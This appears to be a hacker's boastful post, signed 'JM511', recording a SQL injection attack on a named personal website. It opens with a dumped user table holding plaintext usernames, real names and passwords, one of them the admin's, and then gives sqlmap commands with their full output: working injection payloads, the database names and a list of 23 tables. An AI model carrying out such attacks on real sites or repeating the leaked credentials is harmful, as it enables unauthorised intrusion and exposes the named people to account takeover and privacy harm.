Greeting to Saudi Team-3) 7-9-2012

Greeting to Saudi Team ;)
Published by JM511 ;)
From Saudi Arabia
BBM;21EB3DBB
=============================

titol de prova de l'index

Table: usuaris
[2 entries]
+--------------+----+-----------------------+---------+
| contrassenya | id | nom                   | usuari  |
+--------------+----+-----------------------+---------+
| vsunyol      | 2  | Victor Sunyol         | vsunyol |
| terminal151  | 1  | Adri\e0 Colomer Serra | admin   |
+--------------+----+-----------------------+---------+
jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://www.victorsunyol.net/altresTextos.php?id=3 --dbs

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 22:17:58

[22:17:58] [INFO] using '/home/jm511/.sqlmap/output/www.victorsunyol.net/session' as session file
[22:17:58] [INFO] testing connection to the target url
[22:17:59] [INFO] testing if the url is stable, wait a few seconds
[22:18:01] [INFO] url is stable
[22:18:01] [INFO] testing if GET parameter 'id' is dynamic
[22:18:01] [INFO] confirming that GET parameter 'id' is dynamic
[22:18:02] [INFO] GET parameter 'id' is dynamic
[22:18:02] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[22:18:02] [INFO] testing sql injection on GET parameter 'id'
[22:18:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:18:04] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[22:18:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[22:18:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:18:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[22:18:16] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[22:18:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[22:18:19] [INFO] target url appears to be UNION injectable with 6 columns
[22:18:23] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3 AND 7235=7235

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=3 AND (SELECT 1505 FROM(SELECT COUNT(*),CONCAT(CHAR(58,112,120,114,58),(SELECT (CASE WHEN (1505=1505) THEN 1 ELSE 0 END)),CHAR(58,106,100,112,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-5793 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,112,120,114,58),IFNULL(CAST(CHAR(81,106,121,104,67,79,85,66,111,107) AS CHAR),CHAR(32)),CHAR(58,106,100,112,58)), NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=3 AND SLEEP(5)
---

[22:19:41] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.2.13
back-end DBMS: MySQL 5.0
[22:19:41] [INFO] fetching database names
[22:19:42] [INFO] the SQL query used returns 2 entries
available databases [2]:
[*] information_schema
[*] vsunyol

[22:19:43] [INFO] Fetched data logged to text files under '/home/jm511/.sqlmap/output/www.victorsunyol.net'

[*] shutting down at: 22:19:43

jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://www.victorsunyol.net/altresTextos.php?id=3 -D vsunyol --tables

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 22:19:53

[22:19:53] [INFO] using '/home/jm511/.sqlmap/output/www.victorsunyol.net/session' as session file
[22:19:53] [INFO] resuming injection data from session file
[22:19:53] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[22:19:53] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3 AND 7235=7235

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=3 AND (SELECT 1505 FROM(SELECT COUNT(*),CONCAT(CHAR(58,112,120,114,58),(SELECT (CASE WHEN (1505=1505) THEN 1 ELSE 0 END)),CHAR(58,106,100,112,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-5793 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,112,120,114,58),IFNULL(CAST(CHAR(81,106,121,104,67,79,85,66,111,107) AS CHAR),CHAR(32)),CHAR(58,106,100,112,58)), NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=3 AND SLEEP(5)
---

[22:19:54] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.2.13
back-end DBMS: MySQL 5.0
[22:19:54] [INFO] fetching tables for database 'vsunyol'
[22:19:55] [INFO] the SQL query used returns 23 entries
Database: vsunyol
[23 tables]
+-------------------------+
| altresobres             |
| altrestextos            |
| artistesvisuals         |
| audio                   |
| dadesbiografiques       |
| entrevistes             |
| idiomes                 |
| imgaltresobres          |
| imgartistesvisuals      |
| imgdadesbiografiques    |
| imgobratraduida         |
| imgobres                |
| imgtraduccions          |
| links                   |
| obratraduida            |
| obres                   |
| selecciodepoemes        |
| taltresobres            |
| tartistesvisuals        |
| textoscriticssobrelobra |
| textossobrepoesia       |
| traduccions             |
| usuaris                 |
+-------------------------+